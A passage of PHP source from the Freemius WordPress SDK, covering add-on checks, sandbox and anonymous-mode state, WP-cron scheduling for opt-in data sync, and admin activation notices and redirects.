$this->schedule_install_sync(); } /** * Unregister the uninstall hook for the other version of the plugin (with different code type) to avoid * triggering a fatal error when uninstalling that plugin. For example, after deactivating the "free" version * of a specific plugin, its uninstall hook should be unregistered after the "premium" version has been * activated. If we don't do that, a fatal error will occur when we try to uninstall the "free" version since * the main file of the "free" version will be loaded first before calling the hooked callback. Since the * free and premium versions are almost identical (same class or have same functions), a fatal error like * "Cannot redeclare class MyClass" or "Cannot redeclare my_function()" will occur. */ $this->unregister_uninstall_hook(); $this->clear_module_main_file_cache(); // Update is_premium of latest version. $this->_storage->prev_is_premium = $this->_plugin->is_premium; } #endregion #---------------------------------------------------------------------------------- #region Add-ons #---------------------------------------------------------------------------------- /** * Check if add-on installed and activated on site. * * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @param string|number $id_or_slug * @param bool|null $is_premium Since 1.2.1.7 can check for specified add-on version. * * @return bool */ function is_addon_activated( $id_or_slug, $is_premium = null ) { $this->_logger->entrance(); $addon_id = self::get_module_id( $id_or_slug ); $is_activated = self::has_instance( $addon_id ); if ( ! $is_activated ) { return false; } if ( is_bool( $is_premium ) ) { // Check if the specified code version is activate. $addon = $this->get_addon_instance( $addon_id ); $is_activated = ( $is_premium === $addon->is_premium() ); } return $is_activated; } /** * Check if add-on was connected to install * * @author Vova Feldman (@svovaf) * @since 1.1.7 * * @param string|number $id_or_slug * * @return bool */ function is_addon_connected( $id_or_slug ) { $this->_logger->entrance(); $sites = self::get_all_sites( WP_FS__MODULE_TYPE_PLUGIN ); $addon_id = self::get_module_id( $id_or_slug ); $addon = $this->get_addon( $addon_id ); $slug = $addon->slug; if ( ! isset( $sites[ $slug ] ) ) { return false; } $site = $sites[ $slug ]; $plugin = FS_Plugin_Manager::instance( $addon_id )->get(); if ( $plugin->parent_plugin_id != $this->_plugin->id ) { // The given slug do NOT belong to any of the plugin's add-ons. return false; } return ( is_object( $site ) && is_numeric( $site->id ) && is_numeric( $site->user_id ) && FS_Plugin_Plan::is_valid_id( $site->plan_id ) ); } /** * Determines if add-on installed. * * NOTE: This is a heuristic and only works if the folder/file named as the slug. * * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @param string|number $id_or_slug * * @return bool */ function is_addon_installed( $id_or_slug ) { $this->_logger->entrance(); $addon_id = self::get_module_id( $id_or_slug ); return file_exists( fs_normalize_path( WP_PLUGIN_DIR . '/' . $this->get_addon_basename( $addon_id ) ) ); } /** * Get add-on basename. * * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @param string|number $id_or_slug * * @return string */ function get_addon_basename( $id_or_slug ) { $addon_id = self::get_module_id( $id_or_slug ); if ( $this->is_addon_activated( $addon_id ) ) { return self::instance( $addon_id )->get_plugin_basename(); } $addon = $this->get_addon( $addon_id ); $premium_basename = "{$addon->premium_slug}/{$addon->slug}.php"; if ( file_exists( fs_normalize_path( WP_PLUGIN_DIR . '/' . $premium_basename ) ) ) { return $premium_basename; } $all_plugins = $this->get_all_plugins(); foreach ( $all_plugins as $basename => $data ) { if ( $addon->slug === $data['slug'] || $addon->premium_slug === $data['slug'] ) { return $basename; } } $free_basename = "{$addon->slug}/{$addon->slug}.php"; return $free_basename; } /** * Get installed add-ons instances. * * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @return Freemius[] */ function get_installed_addons() { if ( $this->is_addon() ) { // Add-on cannot have add-ons. return array(); } $installed_addons = array(); foreach ( self::$_instances as $instance ) { if ( $instance->is_addon_of( $this->_plugin->id ) ) { $installed_addons[] = $instance; } } return $installed_addons; } /** * Check if any add-ons of the plugin are installed. * * @author Leo Fajardo (@leorw) * @since 1.1.1 * * @return bool */ function has_installed_addons() { if ( ! $this->has_addons() ) { return false; } foreach ( self::$_instances as $instance ) { if ( $instance->is_addon() && is_object( $instance->_parent_plugin ) ) { if ( $this->_plugin->id == $instance->_parent_plugin->id ) { return true; } } } return false; } /** * Tell Freemius that the current plugin is an add-on. * * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @param number $parent_plugin_id The parent plugin ID */ function init_addon( $parent_plugin_id ) { $this->_plugin->parent_plugin_id = $parent_plugin_id; } /** * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @return bool */ function is_addon() { return ( isset( $this->_plugin->parent_plugin_id ) && is_numeric( $this->_plugin->parent_plugin_id ) ); } /** * @author Vova Feldman (@svovaf) * @since 2.3.2 * * @param number $parent_product_id * * @return bool */ function is_addon_of( $parent_product_id ) { return ( $this->is_addon() && $parent_product_id == $this->_plugin->parent_plugin_id ); } /** * Deactivate add-on if it's premium only and the user does't have a valid license. * * @param bool $is_after_trial_cancel * * @return bool If add-on was deactivated. */ private function deactivate_premium_only_addon_without_license( $is_after_trial_cancel = false ) { if ( ! $this->has_free_plan() && ! $this->has_features_enabled_license() && ! $this->_has_premium_license() ) { if ( $this->is_registered() ) { // IF wrapper is turned off because activation_timestamp is currently only stored for plugins (not addons). // if (empty($this->_storage->activation_timestamp) || // (WP_FS__SCRIPT_START_TIME - $this->_storage->activation_timestamp) > 30 // ) { /** * @todo When it's first fail, there's no reason to try and re-sync because the licenses were just synced after initial activation. * * Retry syncing the user add-on licenses. */ // Sync licenses. $this->_sync_licenses(); // } // Try to activate premium license. $this->_activate_license( true ); } if ( ! $this->has_free_plan() && ! $this->has_features_enabled_license() && ! $this->_has_premium_license() ) { // @todo Check if deactivate plugins also call the deactivation hook. $this->_parent->_admin_notices->add_sticky( sprintf( ( $is_after_trial_cancel ? $this->_parent->get_text_inline( '%s free trial was successfully cancelled. Since the add-on is premium only it was automatically deactivated. If you like to use it in the future, you\'ll have to purchase a license.', 'addon-trial-cancelled-message' ) : $this->_parent->get_text_inline( '%s is a premium only add-on. You have to purchase a license first before activating the plugin.', 'addon-no-license-message' ) ), '' . $this->_plugin->title . '' ) . ' ' . sprintf( '%s  ➜', $this->_parent->addon_url( $this->_slug ), esc_attr( sprintf( $this->_parent->get_text_inline( 'More information about %s', 'more-information-about-x' ), $this->_plugin->title ) ), $this->_parent->get_text_inline( 'Purchase License', 'purchase-license' ) ), 'no_addon_license_' . $this->_slug, ( $is_after_trial_cancel ? '' : $this->_parent->get_text_x_inline( 'Oops', 'exclamation', 'oops' ) . '...' ), ( $is_after_trial_cancel ? 'success' : 'error' ) ); deactivate_plugins( array( $this->_plugin_basename ), true ); return true; } } return false; } #endregion #---------------------------------------------------------------------------------- #region Sandbox #---------------------------------------------------------------------------------- /** * Set Freemius into sandbox mode for debugging. * * @author Vova Feldman (@svovaf) * @since 1.0.4 * * @param string $secret_key */ function init_sandbox( $secret_key ) { $this->_plugin->secret_key = $secret_key; // Update plugin details. FS_Plugin_Manager::instance( $this->_module_id )->update( $this->_plugin, true ); } /** * Check if running payments in sandbox mode. * * @author Vova Feldman (@svovaf) * @since 1.0.4 * * @return bool */ function is_payments_sandbox() { return ( ! $this->is_live() ) || isset( $this->_plugin->secret_key ); } #endregion /** * Check if running test vs. live plugin. * * @author Vova Feldman (@svovaf) * @since 1.0.5 * * @return bool */ function is_live() { return $this->_plugin->is_live; } /** * Check if super-admin skipped connection for all sites in the network. * * @author Vova Feldman (@svovaf) * @since 2.0.0 */ function is_network_anonymous() { if ( ! $this->_is_network_active ) { return false; } $is_anonymous_ms = $this->_storage->get( 'is_anonymous_ms' ); if ( empty( $is_anonymous_ms ) ) { return false; } return $is_anonymous_ms['is']; } /** * Check if super-admin opted-in for all sites in the network. * * @author Vova Feldman (@svovaf) * @since 2.0.0 */ function is_network_connected() { if ( ! $this->_is_network_active ) { return false; } return $this->_storage->get( 'is_network_connected' ); } /** * Check if the user skipped connecting the account with Freemius. * * @author Vova Feldman (@svovaf) * @since 1.0.7 * * @return bool */ function is_anonymous() { if ( ! isset( $this->_is_anonymous ) ) { if ( $this->is_network_anonymous() ) { $this->_is_anonymous = true; } else if ( fs_is_network_admin() ) { /** * When not-network-anonymous, yet, running in the network admin, consider as anonymous only when ALL non-delegated sites are set to anonymous. */ $non_delegated_sites = $this->get_non_delegated_blog_ids(); foreach ( $non_delegated_sites as $blog_id ) { $is_anonymous = $this->_storage->get( 'is_anonymous', false, $blog_id ); if ( empty( $is_anonymous ) || false === $is_anonymous[ 'is' ] ) { $this->_is_anonymous = false; break; } } if ( false !== $this->_is_anonymous ) { $this->_is_anonymous = true; } } else { if ( ! isset( $this->_storage->is_anonymous ) ) { // Not skipped. $this->_is_anonymous = false; } else if ( is_bool( $this->_storage->is_anonymous ) ) { // For back compatibility, since the variable was boolean before. $this->_is_anonymous = $this->_storage->is_anonymous; // Upgrade stored data format to 1.1.3 format. $this->set_anonymous_mode( $this->_storage->is_anonymous ); } else { // Version 1.1.3 and later. $this->_is_anonymous = $this->_storage->is_anonymous['is']; } } } return $this->_is_anonymous; } /** * Check if the user skipped the connection of a specified site. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param int $blog_id * * @return bool */ function is_anonymous_site( $blog_id = 0 ) { if ( $this->is_network_anonymous() ) { return true; } $is_anonymous = $this->_storage->get( 'is_anonymous', false, $blog_id ); if ( empty( $is_anonymous ) ) { return false; } return $is_anonymous['is']; } /** * Check if user connected his account and install pending email activation. * * @author Vova Feldman (@svovaf) * @since 1.0.7 * * @return bool */ function is_pending_activation() { return $this->_storage->get( 'is_pending_activation', false ); } /** * @author Leo Fajardo (@leorw) * @since 2.5.0 */ private function clear_pending_activation_mode() { // Remove the pending activation sticky notice (if it still exists). $this->_admin_notices->remove_sticky( 'activation_pending' ); // Clear the plugin's pending activation mode. unset( $this->_storage->is_pending_activation ); } /** * Check if plugin must be WordPress.org compliant. * * @since 1.0.7 * * @return bool */ function is_org_repo_compliant() { return $this->_is_org_compliant; } #-------------------------------------------------------------------------------- #region WP Cron Common #-------------------------------------------------------------------------------- /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param string $name Cron name. * * @return object */ private function get_cron_data( $name ) { $this->_logger->entrance( $name ); /** * @var object $cron_data */ return $this->_storage->get( "{$name}_cron", null ); } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param string $name Cron name. */ private function clear_cron_data( $name ) { $this->_logger->entrance( $name ); $this->_storage->remove( "{$name}_cron" ); } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param string $name Cron name. * @param int $cron_blog_id The cron executing blog ID. */ private function set_cron_data( $name, $cron_blog_id = 0 ) { $this->_logger->entrance( $name ); $this->_storage->store( "{$name}_cron", (object) array( 'version' => $this->get_plugin_version(), 'blog_id' => $cron_blog_id, 'sdk_version' => $this->version, 'timestamp' => WP_FS__SCRIPT_START_TIME, 'on' => true, ) ); } /** * Get the cron's executing blog ID. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param string $name Cron name. * * @return int */ private function get_cron_blog_id( $name ) { $this->_logger->entrance( $name ); if ( ! is_multisite() ) { // Not a multisite. return 0; } $cron_data = $this->get_cron_data( $name ); return ( is_object( $cron_data ) && is_numeric( $cron_data->blog_id ) ) ? $cron_data->blog_id : 0; } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param string $name Cron name. * * @return bool */ private function is_cron_on( $name ) { $this->_logger->entrance( $name ); /** * @var object $cron_data */ $cron_data = $this->get_cron_data( $name ); return ( ! is_null( $cron_data ) && true === $cron_data->on ); } /** * Unix timestamp for previous cron execution or false if never executed. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param string $name Cron name. * * @return int|false */ private function cron_last_execution( $name ) { $this->_logger->entrance( $name ); return $this->_storage->get( "{$name}_timestamp" ); } /** * Set cron execution time to now. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param string $name Cron name. */ private function set_cron_execution_timestamp( $name ) { $this->_logger->entrance( $name ); $this->_storage->store( "{$name}_timestamp", time() ); } /** * Sets the keepalive time to now. * * @author Leo Fajardo (@leorw) * @since 2.2.3 * * @param bool|null $use_network_level_storage */ private function set_keepalive_timestamp( $use_network_level_storage = null ) { $this->_logger->entrance(); $this->_storage->store( 'keepalive_timestamp', time(), $use_network_level_storage ); } /** * Check if cron was executed in the last $period of seconds. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param string $name Cron name. * @param int $period In seconds * * @return bool */ private function is_cron_executed( $name, $period = WP_FS__TIME_24_HOURS_IN_SEC ) { $this->_logger->entrance( $name ); $last_execution = $this->cron_last_execution( $name ); if ( ! is_numeric( $last_execution ) ) { return false; } return ( $last_execution > ( WP_FS__SCRIPT_START_TIME - $period ) ); } /** * WP Cron is executed on a site level. When running in a multisite network environment * with the network integration activated, for optimization reasons, we are consolidating * the installs data sync cron to be executed only from a single site. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param int $except_blog_id Target any except the excluded blog ID. * * @return int */ private function get_cron_target_blog_id( $except_blog_id = 0 ) { if ( ! is_multisite() ) { return 0; } if ( $this->_is_network_active ) { $network_install_blog_id = $this->_storage->network_install_blog_id; if ( is_numeric( $network_install_blog_id ) && $except_blog_id != $network_install_blog_id && self::is_site_active( $network_install_blog_id ) ) { // Try to run cron from the main network blog. $install = $this->get_install_by_blog_id( $network_install_blog_id ); if ( is_object( $install ) && $this->is_tracking_allowed( $network_install_blog_id, $install ) ) { return $network_install_blog_id; } } } // Get first opted-in blog ID with active tracking. $installs = $this->get_blog_install_map(); foreach ( $installs as $blog_id => $install ) { if ( $except_blog_id != $blog_id && self::is_site_active( $blog_id ) && $this->is_tracking_allowed( $blog_id, $install ) ) { return $blog_id; } } return 0; } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param string $name Cron name. * @param string $action_tag Callback action tag. * @param bool $is_network_clear If set to TRUE, clear sync cron even if there are installs that are still connected. */ private function clear_cron( $name, $action_tag = '', $is_network_clear = false ) { $this->_logger->entrance( $name ); if ( ! $this->is_cron_on( $name ) ) { return; } $clear_cron = true; if ( ! $is_network_clear && $this->_is_network_active ) { $installs = $this->get_blog_install_map(); foreach ( $installs as $blog_id => $install ) { /** * @var FS_Site $install */ if ( $this->is_tracking_allowed( $blog_id, $install ) ) { $clear_cron = false; break; } } } if ( ! $clear_cron ) { return; } $cron_blog_id = $this->get_cron_blog_id( $name ); $this->clear_cron_data( $name ); if ( 0 < $cron_blog_id ) { switch_to_blog( $cron_blog_id ); } if ( empty( $action_tag ) ) { $action_tag = $name; } wp_clear_scheduled_hook( $this->get_action_tag( $action_tag ) ); if ( 0 < $cron_blog_id ) { restore_current_blog(); } } /** * Unix timestamp for next cron execution or false if not scheduled. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param string $name Cron name. * @param string $action_tag Callback action tag. * * @return int|false */ private function get_next_scheduled_cron( $name, $action_tag = '' ) { $this->_logger->entrance( $name ); if ( ! $this->is_cron_on( $name ) ) { return false; } $cron_blog_id = $this->get_cron_blog_id( $name ); if ( 0 < $cron_blog_id ) { switch_to_blog( $cron_blog_id ); } if ( empty( $action_tag ) ) { $action_tag = $name; } $next_scheduled = wp_next_scheduled( $this->get_action_tag( $action_tag ) ); if ( 0 < $cron_blog_id ) { restore_current_blog(); } return $next_scheduled; } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param string $name Cron name. * @param string $action_tag Callback action tag. * @param string $recurrence 'single' or 'daily'. * @param int $start_at Defaults to now. * @param bool $randomize_start If true, schedule first job randomly during the next 12 hours. Otherwise, schedule job to start right away. * @param int $except_blog_id Target any except the excluded blog ID. */ private function schedule_cron( $name, $action_tag = '', $recurrence = 'single', $start_at = WP_FS__SCRIPT_START_TIME, $randomize_start = true, $except_blog_id = 0 ) { $this->_logger->entrance( $name ); $this->clear_cron( $name, $action_tag, true ); $cron_blog_id = $this->get_cron_target_blog_id( $except_blog_id ); if ( is_multisite() && 0 == $cron_blog_id ) { // Don't schedule cron since couldn't find a target blog. return; } if ( 0 < $cron_blog_id ) { switch_to_blog( $cron_blog_id ); } if ( 'daily' === $recurrence ) { if ( $randomize_start ) { // Schedule first sync with a random 12 hour time range from now. $start_at += rand( 0, ( WP_FS__TIME_24_HOURS_IN_SEC / 2 ) ); } // Schedule daily WP cron. wp_schedule_event( $start_at, 'daily', $this->get_action_tag( $action_tag ) ); } else if ( 'single' === $recurrence ) { // Schedule single cron. wp_schedule_single_event( $start_at, $this->get_action_tag( $action_tag ) ); } $this->set_cron_data( $name, $cron_blog_id ); if ( 0 < $cron_blog_id ) { restore_current_blog(); } } /** * Consolidated cron execution for performance optimization. The max number of API requests is based on the number of unique opted-in users. * that doesn't halt page loading. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param string $name Cron name. * @param callable $callable The function that should be executed. */ private function execute_cron( $name, $callable ) { $this->_logger->entrance( $name ); // Store the last time data sync was executed. $this->set_cron_execution_timestamp( $name ); // Check if API is temporary down. if ( FS_Api::is_temporary_down() ) { return; } // @todo Add logic that identifies API latency, and reschedule the next background sync randomly between 8-16 hours. $users_2_blog_ids = array(); if ( ! is_multisite() ) { // Add dummy blog. $users_2_blog_ids[0] = array( 0 ); } else { $installs = $this->get_blog_install_map(); foreach ( $installs as $blog_id => $install ) { if ( $this->is_tracking_allowed( $blog_id, $install ) ) { if ( ! isset( $users_2_blog_ids[ $install->user_id ] ) ) { $users_2_blog_ids[ $install->user_id ] = array(); } $users_2_blog_ids[ $install->user_id ][] = $blog_id; } } } $current_blog_id = get_current_blog_id(); foreach ( $users_2_blog_ids as $user_id => $blog_ids ) { if ( 0 < $blog_ids[0] ) { $this->switch_to_blog( $blog_ids[0] ); } call_user_func_array( $callable, array( $blog_ids, ( is_multisite() ? $current_blog_id : null ) ) ); foreach ( $blog_ids as $blog_id ) { $this->do_action( "after_{$name}_cron", $blog_id ); } } if ( is_multisite() ) { $this->switch_to_blog( $current_blog_id, fs_is_network_admin() ? $this->get_network_install() : null ); $this->do_action( "after_{$name}_cron_multisite" ); } } #endregion #---------------------------------------------------------------------------------- #region Daily Sync Cron #---------------------------------------------------------------------------------- /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @return bool */ private function is_sync_cron_scheduled() { return $this->is_cron_on( 'sync' ); } /** * Get the sync cron's executing blog ID. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @return int */ private function get_sync_cron_blog_id() { return $this->get_cron_blog_id( 'sync' ); } /** * @author Vova Feldman (@svovaf) * @since 1.1.7.3 */ private function run_manual_sync() { if ( ! $this->is_user_admin() ) { return; } // Run manual sync. $this->_sync_cron(); // Reschedule next cron to run 24 hours from now (performance optimization). $this->schedule_sync_cron( time() + WP_FS__TIME_24_HOURS_IN_SEC, false ); } /** * Data sync cron job. Replaces the background sync non blocking HTTP request * that doesn't halt page loading. * * @author Vova Feldman (@svovaf) * @since 1.1.7.3 * @since 2.0.0 Consolidate all the data sync into the same cron for performance optimization. The max number of API requests is based on the number of unique opted-in users. */ function _sync_cron() { $this->_logger->entrance(); $this->execute_cron( 'sync', array( &$this, '_sync_cron_method' ) ); } /** * The actual data sync cron logic. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param int[] $blog_ids * @param int|null $current_blog_id @since 2.2.3. This is passed from the `execute_cron` method and used by the * `_sync_plugin_license` method in order to switch to the previous blog when sending * updates for a single site in case `execute_cron` has switched to a different blog. */ function _sync_cron_method( array $blog_ids, $current_blog_id = null ) { if ( $this->is_registered() ) { if ( $this->has_paid_plan() ) { // Initiate background plan sync. $this->_sync_license( true, false, $current_blog_id ); if ( $this->is_paying() ) { // Check for premium plugin updates. $this->check_updates( true ); } } else { // Sync install(s) (only if something changed locally). if ( 1 < count( $blog_ids ) ) { $this->sync_installs(); } else { $this->sync_install(); } $this->maybe_sync_install_user(); } } } /** * Check if sync was executed in the last $period of seconds. * * @author Vova Feldman (@svovaf) * @since 1.1.7.3 * * @param int $period In seconds * * @return bool */ private function is_sync_executed( $period = WP_FS__TIME_24_HOURS_IN_SEC ) { return $this->is_cron_executed( 'sync', $period ); } /** * @author Vova Feldman (@svovaf) * @since 1.1.7.3 * * @return bool */ private function is_sync_cron_on() { return $this->is_cron_on( 'sync' ); } /** * @author Leo Fajardo (@leorw) * @since 2.5.0 */ private function maybe_schedule_sync_cron() { $next_schedule = $this->next_sync_cron(); // The event is properly scheduled, so no need to reschedule it. if ( is_numeric( $next_schedule ) && $next_schedule > time() ) { return; } $this->schedule_sync_cron(); } /** * @author Vova Feldman (@svovaf) * @since 1.1.7.3 * * @param int $start_at Defaults to now. * @param bool $randomize_start If true, schedule first job randomly during the next 12 hours. Otherwise, schedule job to start right away. * @param int $except_blog_id Since 2.0.0 when running in a multisite network environment, the cron execution is consolidated. This param allows excluding excluded specified blog ID from being the cron executor. */ private function schedule_sync_cron( $start_at = WP_FS__SCRIPT_START_TIME, $randomize_start = true, $except_blog_id = 0 ) { $this->schedule_cron( 'sync', 'data_sync', 'daily', $start_at, $randomize_start, $except_blog_id ); } /** * Add the actual sync function to the cron job hook. * * @author Vova Feldman (@svovaf) * @since 1.1.7.3 */ private function hook_callback_to_sync_cron() { $this->add_action( 'data_sync', array( &$this, '_sync_cron' ) ); } /** * @author Vova Feldman (@svovaf) * @since 1.1.7.3 * * @param bool $is_network_clear Since 2.0.0 If set to TRUE, clear sync cron even if there are installs that are still connected. */ private function clear_sync_cron( $is_network_clear = false ) { $this->_logger->entrance(); $this->clear_cron( 'sync', 'data_sync', $is_network_clear ); } /** * Unix timestamp for next sync cron execution or false if not scheduled. * * @author Vova Feldman (@svovaf) * @since 1.1.7.3 * * @return int|false */ function next_sync_cron() { return $this->get_next_scheduled_cron( 'sync', 'data_sync' ); } /** * Unix timestamp for previous sync cron execution or false if never executed. * * @author Vova Feldman (@svovaf) * @since 1.1.7.3 * * @return int|false */ function last_sync_cron() { return $this->cron_last_execution( 'sync' ); } #endregion Daily Sync Cron ------------------------------------------------------------------ #---------------------------------------------------------------------------------- #region Async Install Sync #---------------------------------------------------------------------------------- /** * @author Vova Feldman (@svovaf) * @since 1.1.7.3 * * @return bool */ private function is_install_sync_scheduled() { return $this->is_cron_on( 'install_sync' ); } /** * Get the sync cron's executing blog ID. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @return int */ private function get_install_sync_cron_blog_id() { return $this->get_cron_blog_id( 'install_sync' ); } /** * Instead of running blocking install sync event, execute non blocking scheduled wp-cron. * * @author Vova Feldman (@svovaf) * @since 1.1.7.3 * * @param int $except_blog_id Since 2.0.0 when running in a multisite network environment, the cron execution is consolidated. This param allows excluding excluded specified blog ID from being the cron executor. */ private function schedule_install_sync( $except_blog_id = 0 ) { if ( $this->is_clone() ) { return; } $this->schedule_cron( 'install_sync', 'install_sync', 'single', WP_FS__SCRIPT_START_TIME, false, $except_blog_id ); } /** * Unix timestamp for previous install sync cron execution or false if never executed. * * @todo There's some very strange bug that $this->_storage->install_sync_timestamp value is not being updated. But for sure the sync event is working. * * @author Vova Feldman (@svovaf) * @since 1.1.7.3 * * @return int|false */ function last_install_sync() { return $this->cron_last_execution( 'install_sync' ); } /** * Unix timestamp for next install sync cron execution or false if not scheduled. * * @author Vova Feldman (@svovaf) * @since 1.1.7.3 * * @return int|false */ function next_install_sync() { return $this->get_next_scheduled_cron( 'install_sync', 'install_sync' ); } /** * Add the actual install sync function to the cron job hook. * * @author Vova Feldman (@svovaf) * @since 1.1.7.3 */ private function hook_callback_to_install_sync() { $this->add_action( 'install_sync', array( &$this, '_run_sync_install' ) ); } /** * @author Vova Feldman (@svovaf) * @since 1.1.7.3 * * @param bool $is_network_clear Since 2.0.0 If set to TRUE, clear sync cron even if there are installs that are still connected. */ private function clear_install_sync_cron( $is_network_clear = false ) { $this->_logger->entrance(); $this->clear_cron( 'install_sync', 'install_sync', $is_network_clear ); } /** * @author Vova Feldman (@svovaf) * @since 1.1.7.3 * @since 2.0.0 Consolidate all the data sync into the same cron for performance optimization. The max number of API requests is based on the number of unique opted-in users. */ public function _run_sync_install() { $this->_logger->entrance(); $this->execute_cron( 'sync', array( &$this, '_sync_install_cron_method' ) ); } /** * The actual install(s) sync cron logic. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param int[] $blog_ids * @param int|null $current_blog_id */ function _sync_install_cron_method( array $blog_ids, $current_blog_id = null ) { if ( $this->is_registered() ) { if ( 1 < count( $blog_ids ) ) { $this->sync_installs( array(), true ); } else { $this->sync_install( array(), true ); } $this->maybe_sync_install_user(); } } #endregion Async Install Sync ------------------------------------------------------------------ /** * Show a notice that activation is currently pending. * * @todo Add some sort of mechanism to allow users to update the email address they would like to opt-in with when $is_suspicious_email is true. * * @author Vova Feldman (@svovaf) * @since 1.0.7 * * @param bool|string $email_address * @param bool $is_pending_trial Since 1.2.1.5 * @param bool $is_suspicious_email Since 2.5.0 Set to true when there's an indication that email address the user opted in with is fake/dummy/placeholder. * @param bool $has_upgrade_context Since 2.5.3 * @param bool $support_email_address Since 2.5.3 */ function _add_pending_activation_notice( $email_address = false, $is_pending_trial = false, $is_suspicious_email = false, $has_upgrade_context = false, $support_email_address = false ) { if ( ! is_string( $email_address ) ) { $current_user = self::_get_current_wp_user(); $email_address = $current_user->user_email; } $formatted_message_args = array( "{$this->get_plugin_name()}", "{$email_address}", ); if ( ! $has_upgrade_context || ! fs_is_network_admin() ) { /* translators: %3$s: action (e.g.: "start the trial" or "complete the opt-in") */ $formatted_message = $this->get_text_inline( 'You should receive a confirmation email for %1$s to your mailbox at %2$s. Please make sure you click the button in that email to %3$s.', 'pending-activation-message' ); $formatted_message_args[] = $is_pending_trial ? $this->get_text_inline( 'start the trial', 'start-the-trial' ) : $this->get_text_inline( 'complete the opt-in', 'complete-the-opt-in' ); $notice_title = $this->get_text_inline( 'Thanks!', 'thanks' ); } else { /* translators: %3$s: What the user is expected to receive via email (e.g.: "the installation instructions" or "a license key") */ $formatted_message = $this->get_text_inline( 'You should receive %3$s for %1$s to your mailbox at %2$s in the next 5 minutes.' ); if ( $this->has_release_on_freemius() ) { $formatted_message_args[] = $this->get_text_x_inline( 'the installation instructions', 'Part of the message telling the user what they should receive via email.', 'the-installation-instructions-phrase' ); } else { $formatted_message_args[] = $this->get_text_x_inline( 'a license key', 'Part of the message telling the user what they should receive via email.', 'a-license-key-phrase' ); $formatted_message .= ( ' ' . sprintf( /* translators: %s: activation link (e.g.: Click here) */ $this->get_text_inline( '%s to activate the license once you get it.', 'license-activation-link-message' ), sprintf( '%s', $this->get_activation_url( array( 'fs_action' => 'reset_pending_activation_mode', 'require_license' => 'true', 'fs_unique_affix' => $this->get_unique_affix(), ) ), $this->get_text_x_inline( 'Click here', 'Part of an activation link message.', 'click-here' ) ) ) ); } $formatted_message_args[] = ( ! empty( $support_email_address ) ) ? ( "{$support_email_address}" ) : $this->get_text_x_inline( "the product's support email address", 'Part of the message that tells the user to check their spam folder for a specific email.', 'product-support-email-address-phrase' ); $formatted_message .= ( ' ' . $this->get_text_inline( 'If you didn\'t get the email, try checking your spam folder or search for emails from %4$s.', 'check-spam-folder-message' ) ); $notice_title = $this->get_text_inline( 'Thanks for upgrading.', 'after-upgrade-thank-you-message' ); } $this->_admin_notices->add_sticky( vsprintf( $formatted_message, $formatted_message_args ), 'activation_pending', $notice_title ); } /** * Check if currently in plugin activation. * * @author Vova Feldman (@svovaf) * @since 1.1.4 * * @return bool */ function is_plugin_activation() { $result = get_transient( "fs_{$this->_module_type}_{$this->_slug}_activated" ); return !empty($result); } /** * * NOTE: admin_menu action executed before admin_init. * * @author Vova Feldman (@svovaf) * @since 1.0.7 */ function _admin_init_action() { $is_migration = $this->is_migration(); /** * Automatically redirect to connect/activation page after plugin activation. * * @since 1.1.7 Do NOT redirect to opt-in when running in network admin mode. */ if ( $this->is_plugin_activation() ) { delete_transient( "fs_{$this->_module_type}_{$this->_slug}_activated" ); if ( isset( $_GET['activate-multi'] ) ) { /** * Don't redirect if activating multiple plugins at once (bulk activation). */ } else if ( self::is_deactivation_snoozed() && ( // Either running the free code base. ! $this->is_premium() || // Or if has a free version. ! $this->is_only_premium() || // If premium only, don't redirect if license is activated. ( $this->is_registered() && ! $this->can_use_premium_code() ) ) ) { /** * Don't redirect if activating during the deactivation snooze period (aka troubleshooting), unless activating a paid product version that the admin didn't enter its license key yet. */ } else if ( ! $is_migration ) { $this->_redirect_on_activation_hook(); return; } } if ( $is_migration ) { return; } if ( fs_request_is_action( $this->get_unique_affix() . '_skip_activation' ) ) { check_admin_referer( $this->get_unique_affix() . '_skip_activation' ); $this->skip_connection( fs_is_network_admin() ); fs_redirect( $this->get_after_activation_url( 'after_skip_url' ) ); } if ( $this->is_network_activation_mode() && fs_request_is_action( $this->get_unique_affix() . '_delegate_activation' ) ) { check_admin_referer( $this->get_unique_affix() . '_delegate_activation' ); $this->delegate_connection(); fs_redirect( $this->get_after_activation_url( 'after_delegation_url' ) ); } $this->_add_upgrade_action_link(); if ( ! ( ! $this->_is_network_active && fs_is_network_admin() ) && ( ( true === $this->_storage->require_license_activation ) || // Not registered nor anonymous. ( ! $this->is_registered() && ! $this->is_anonymous() ) || // OR, network level and in network upgrade mode. ( fs_is_network_admin() && $this->_is_network_active && $this->is_network_upgrade_mode() ) ) ) { if ( ! $this->is_pending_activation() ) { if ( ! $this->is_activation_page() ) { /** * If a user visits any other admin page before activating the premium-only theme with a valid * license, reactivate the previous theme. * * @author Leo Fajardo (@leorw) * @since 1.2.2 */ if ( $this->is_theme() && ! $this->has_settings_menu() && ! isset( $_REQUEST['fs_action'] ) && $this->can_activate_previous_theme() ) { if ( $this->is_only_premium() ) { $this->activate_previous_theme(); return; } if ( true === $this->_storage->require_license_activation ) { $this->_storage->require_license_activation = false; } } if ( ! fs_is_network_admin() && $this->is_network_activation_mode() && ! $this->is_delegated_connection() ) { return; } if ( $this->is_plugin_new_install() || $this->is_only_premium() ) { if ( ! $this->_anonymous_mode && ( ! $this->is_addon() || ! 